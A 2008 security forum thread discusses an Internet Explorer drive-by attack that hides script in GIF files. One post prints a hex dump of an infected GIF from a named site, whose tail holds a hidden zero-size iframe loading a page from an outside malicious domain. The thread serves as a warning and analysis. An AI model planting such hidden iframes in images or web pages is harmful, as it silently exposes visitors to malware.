Results 1 to 4 of 4

Thread: IE Driveby Malware Attack: Beware those GIFs!

  1. #1
    Senior Member phernandez's Avatar
    Join Date
    Aug 2003
    Location
    NYC
    Posts
    246

    IE Driveby Malware Attack: Beware those GIFs!

    Sad part is that the vuln was reported ages ago...

    Internet Explorer ‘feature’ causing drive-by malware attacks - ZDNet Zero Day Blog

    The attack, discovered at a compromised legitimate site, is using a modified GIF file to exploit the cross-site scripting feature/vulnerability.

    Schouwenberg said he reported the vulnerability to Microsoft a long time ago, warning the company that JavaScript embedded into GIF files can be executed under certain circumstances. Microsoft disagreed and the issue was never patched.

  2. #2
    Banned
    Join Date
    Jan 2008
    Posts
    605
    Cross site scripting flaws (in web applications alone) are so prevalent that I'd go as far as to say... who gives a crap.

    Meanwhile, in another article on that site, Window Snyder was shrugging off multiple flaws that allowed full-on remote code execution in Firefox.

  3. #3
    Senior Member nihil's Avatar
    Join Date
    Jul 2003
    Location
    United Kingdom: Bridlington
    Posts
    17,188
    Perhaps we are starting to expect too much in the way of security from applications?

    An application is a tool that is designed to provide functionality. The greater that functionality the greater the scope for misuse and abuse.

    Whilst it is reasonable to expect due diligence from the development community, i feel that we are drifting into an "it wasn't me it was the cat wot done it" mentality.

    Just look at commercially available security applications? Sniffers, keyloggers, password crackers and the like. Has anybody demanded "safe" versions of these?

    I was in a local hardware store the other day, you know what? I didn't see a single "safe hammer", "safe chisel" or "safe screwdriver".

    I would suggest that the only reasonable expectation of a tool is that it is capable of safely performing its basic functionality. Anything else and it is up to the user.


  4. #4
    AO Curmudgeon rcgreen's Avatar
    Join Date
    Nov 2001
    Posts
    2,716
    Code:
    rcgreen@blue:~/Desktop$ hexcat oa_main.gif
    00000000 - 47 49 46 38  39 61 a1 00  19 00 c4 00  00 35 35 58  GIF89a....�..55X
    00000010 - 28 28 53 1a  1a 36 23 23  4a c1 19 1c  29 29 53 21  ((S..6##J�..))S!
    00000020 - 21 44 86 1a  27 53 1a 2e  29 29 4c 2c  2c 55 61 24  !D..'S..))L,,Ua$
    00000030 - 3a 5a 20 35  26 26 51 ee  18 15 d6 19  19 8e 21 2f  :Z 5&&Q...�...!/
    00000040 - 72 1c 2c c2  1a 20 2d 2d  50 3b 3b 5f  1e 1e 3f b3  r.,�. --P;;_..?�
    00000050 - 1a 1f 2f 2f  57 26 26 45  40 40 63 3c  23 3d a4 1a  ..//W&&E@@c<#=..
    00000060 - 22 27 27 52  fd 18 13 25  25 4e 2e 1d  39 21 f9 04  "''R�..%%N..9!..
    00000070 - 00 00 00 00  00 2c 00 00  00 00 a1 00  19 00 00 05  .....,..........
    00000080 - ff 60 26 8e  19 65 9e 68  aa ae 29 e0  be 30 7c b9  .`&..e.h.�).�0|�
    00000090 - 57 6d df 37  50 eb b4 8e  ff 3f 85 70  48 1c 16 14  Wm�7P.�..?.pH...
    000000a0 - 85 a4 72 c9  4c 06 02 9c  27 94 43 ad  46 a5 58 2c  ..r�L...'.C.F.X,
    000000b0 - d3 33 e8 7a  bf e0 f0 d7  43 2e 37 ce  65 ae 78 cd  �3.z�..�C.7�e�x
    000000c0 - 0e a7 cf f0  b8 7c 4e af  db ef 78 b8  75 6f cd 06  ..�.�|N��.x�uo�.
    000000d0 - 4a 14 31 82  83 82 81 00  28 82 40 36  13 8c 8d 13  J.1.....(.@6....
    000000e0 - 09 8f 8c 09  93 8e 13 8a  33 97 35 45  9b 9b 4d 9e  ........3.5E..M.
    000000f0 - 4c 52 51 7c  7d 7e 59 9f  0c 12 a9 aa  ab 12 08 15  LRQ|}~Y.........
    00000100 - 10 a9 11 15  06 b4 06 b0  12 0c 5e 69  64 5d 1f aa  .....�.�..^id]..
    00000110 - 11 b5 b4 aa  06 08 ac ac  10 15 15 a9  10 ba 64 79  .��..........�dy
    00000120 - cf d0 d1 78  a3 7b a5 4f  10 1d d9 da  db 1d 10 09  ���x.{.O..���...
    00000130 - 12 da 10 8e  e0 1d 0b 33  89 35 d8 d9  0f 93 94 da  .�.....3.5��...
    00000140 - 18 0b dc f2  18 18 d9 12  90 13 42 41  37 fa 9c 9c  ..��..�...BA7...
    00000150 - 47 9f 3e 05  28 30 10 ca  13 6a 55 ac  69 09 78 20  G.>.(0.�.jU.i.x 
    00000160 - 1b 81 03 10  21 12 c8 76  40 c0 44 6d  ae 92 5d 64  ....!.�v@�Dm�.]d
    00000170 - 30 cb 40 18  03 1f 1c 6c  93 95 ac 82  b6 0a 08 d6  0�@....l....�..
    00000180 - ff 45 84 a8  4d 80 c9 0e  12 66 75 31  23 ad a6 cd  .E..M.�..fu1#..
    00000190 - 3b 08 13 2a  0c a0 ce 1b  3d 0c 09 7a  62 20 97 cd  ;..*..�.=..zb .
    000001a0 - 01 03 7a e4  16 e0 63 54  43 92 ba 07  eb 7e d6 cb  ..z...cTC.�..~�
    000001b0 - 66 80 81 c3  92 c9 4e be  94 00 14 9f  3f 05 17 be  f..�.�N�....?..�
    000001c0 - 12 09 48 96  20 96 9c a4  76 0e 24 1b  a0 61 87 8a  ..H. ...v.$..a..
    000001d0 - 02 e2 0a 70  5b f1 22 d4  0e 0e 10 58  cc 96 b1 63  ...p[."�...X�.�c
    000001e0 - ad 0a 21 b3  7d b8 1b 41  6e cb 94 1d  08 c8 8d db  ..!�}�.An�...�.
    000001f0 - 52 c0 55 5a  33 3d dc 9c  3c 19 ed 15  b5 3c b3 41  R�UZ3=�.<...�<�A
    00000200 - 90 8a 41 dd  81 0a 17 23  dc 7d f0 61  a3 86 05 a8  ..A�...#�}.a....
    00000210 - 51 6b 98 a4  2e 66 84 75  25 0f 3b 8c  40 a0 f6 c5  Qk...f.u%.;.@..
    00000220 - 0e 2e ed 19  e8 7a 44 ec  3f 24 6c 95  14 94 52 e0  .....zD.?$l...R.
    00000230 - 8a 65 9d 3b  cb 62 a1 bb  78 2e c5 bd  1d f4 8e be  .e.;�b.�x.Ž...�
    00000240 - 8b c0 ad b6  cf 15 a8 c7  d5 ee 38 9b  00 c4 0f e5  .�.��..��.8..�..
    00000250 - e1 16 20 92  40 32 8f 03  9c 51 5e ff  cc 32 66 2c  .. .@2...Q^.�2f,
    00000260 - 42 a5 d2 05  9d 8d a3 06  91 db 18 58  d7 8c e1 b5  B.�......�.X�..�
    00000270 - c3 da 77 99  f7 12 6e e0  0d 76 dd 01  85 ed 25 c1  ��w...n..v�...%
    00000280 - ff 6e 1e 24  90 84 6f 42  94 15 d0 59  07 1d 87 9c  .n.$..oB..�Y....
    00000290 - 42 02 99 95  05 73 8b 31  77 91 5e df  e1 c7 57 5c  B....s.1w.^�.�W\
    000002a0 - 58 25 73 97  78 d1 75 47  a0 43 db ad  b3 58 04 07  X%s.x�uG.C�.�X..
    000002b0 - b8 02 59 7a  92 b1 67 23  1d ee bd 47  9c 3a 28 be  �.Yz.�g#..�G.:(�
    000002c0 - a5 4c 7d 1d  f9 57 df 6e  f4 4c d2 9f  4a 2b 59 70  .L}..W�n.L�.J+Yp
    000002d0 - d5 49 e0 b9  f4 c1 06 45  65 a4 5b 7a  0d 44 f1 20  �I.�.�.Ee.[z.D. 
    000002e0 - 70 00 49 d8  c4 13 c2 89  62 61 5a c9  79 62 8d 12  p.I��.�.baZ�yb..
    000002f0 - fb 89 57 d7  88 72 09 d9  17 56 84 35  f7 01 46 b2  ..W�.r.�.V.5..F�
    00000300 - 25 b6 18 94  78 c9 a2 1b  7a 34 dd 78  63 8e 3a ae  %�..x�..z4�xc.:�
    00000310 - 95 c4 04 a9  05 8a 1a 03  47 61 c0 80  6a 9c 11 ba  .�......Ga�.j..�
    00000320 - 80 06 45 b6  93 40 6a 18  04 43 0b 02  84 6a 40 28  ..E�.@j..C...j@(
    00000330 - 03 20 11 8a  80 a4 97 6e  7a 29 8d 0d  68 09 ca 12  . .....nz)..h.�.
    00000340 - 1c 98 f5 25  9f 18 fa e9  04 86 4b 0c  40 4b 89 b0  ...%......K.@K.�
    00000350 - c6 0a ab a4  92 ca 6a eb  ad 7e a1 47  63 8d 7a b2  �....�j..~.Gc.z�
    00000360 - 87 ea 7b 4d  48 e2 68 3b  5d 0d 6b ec  b1 8f 18 eb  ..{MH.h;].k.�...
    00000370 - 01 67 52 0d  80 41 1b cf  36 e3 0c 15  04 09 b7 a5  .gR..A.�6.....�.
    00000380 - d3 29 15 1a  77 2a 42 98  39 a1 61 98  4c 7c 41 6b  �)..w*B.9.a.L|Ak
    00000390 - 30 6d 94 db  c6 b8 ba 9a  1b 99 7a bd  56 f6 ab 5a  0m.�Ƹ�...z�V..Z
    000003a0 - 01 69 e2 c8  52 13 14 c0  c8 11 8c fc  e6 8f 27 0e  .i.�R..��..
    000003b0 - 4e d2 40 3b  67 00 cc 41  03 35 f2 7a  06 15 c4 79  N�@;g.�A.5�z..�y
    000003c0 - ab 44 a9 03  31 ec 25 c2  db e6 a4 96  95 c4 c1 1b  .D..1.%��....��.
    000003d0 - 50 1a 6c ec  a2 f1 c6 1c  77 ec f1 c7  79 b6 6b d3  P.l...�.w..�y�k
    000003e0 - bb 16 c7 0b  56 58 fe a0  0c e1 3f 4b  44 b8 c4 5a  �.�.VX....?KD��Z
    000003f0 - 5c c2 1c f3  14 d5 d2 bc  6a c3 09 1b  14 f1 a9 3b  \�.�.�Ҽj�.....;
    00000400 - 51 7b b3 16  7e 48 28 c7  c6 22 17 6d  74 4d 24 83  Q{�.~H(��".mtM$.
    00000410 - 4b 16 3f 61  a9 bc 72 6f  2e 8f 05 1c  96 a2 56 6b  K.?a.�ro......Vk
    00000420 - b5 d5 36 27  04 f1 ce 11  fb a1 f5 65  3a 8a 7a f4  ��6'..�....e:.z.
    00000430 - d8 64 23 9d  f4 98 55 17  e1 b4 58 bd  3d e8 76 d5  �d#...U..�X�=.v
    00000440 - 2f 5f 5b ca  c3 53 4c 51  0d d7 96 35  e0 75 28 60  /_[��SLQ.�.5.u(`
    00000450 - 03 0b 77 08  00 3b 0d 0a  3c 69 66 72  61 6d 65 20  ..w..;..<iframe 
    00000460 - 73 72 63 3d  68 74 74 70  3a 2f 2f 77  77 77 2e 67  src=http://www.g
    00000470 - 6f 6c 64 77  69 6e 64 6f  73 32 30 30  30 2e 63 6f  oldwindos2000.co
    00000480 - 6d 2f 68 6b  65 72 61 6f  6e 65 2f 68  6b 65 72 2e  m/hkeraone/hker.
    00000490 - 68 74 6d 20  77 69 64 68  74 3d 30 20  68 65 69 67  htm widht=0 heig
    000004a0 - 68 74 3d 30  3e 3c 2f 69  66 72 61 6d  65 3e        ht=0></iframe>
    rcgreen@blue:~/Desktop$
    It's on a site named grooveradio dot com. The usual cautions
    apply. Don't view it with Internet Explorer.
    Last edited by rcgreen; June 30th, 2008 at 06:08 PM.
    I came in to the world with nothing. I still have most of it.

Similar Threads

  1. Terrorism
    By Tedob1 in forum Cosmos
    Replies: 9
    Last Post: May 7th, 2006, 05:06 AM
  2. A look into IDS/Snort Whole thing by QoD
    By qod in forum The Security Tutorials Forum
    Replies: 6
    Last Post: February 27th, 2004, 03:03 AM
  3. Understanding DoS
    By NullDevice in forum The Security Tutorials Forum
    Replies: 21
    Last Post: December 17th, 2003, 10:03 PM
  4. Classic Social Engineering Attacks
    By Striek in forum The Security Tutorials Forum
    Replies: 10
    Last Post: December 16th, 2003, 09:30 PM
  5. 50 Java Attack
    By VLaD tHEiMpALeR in forum Programming Security
    Replies: 0
    Last Post: July 18th, 2002, 03:51 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •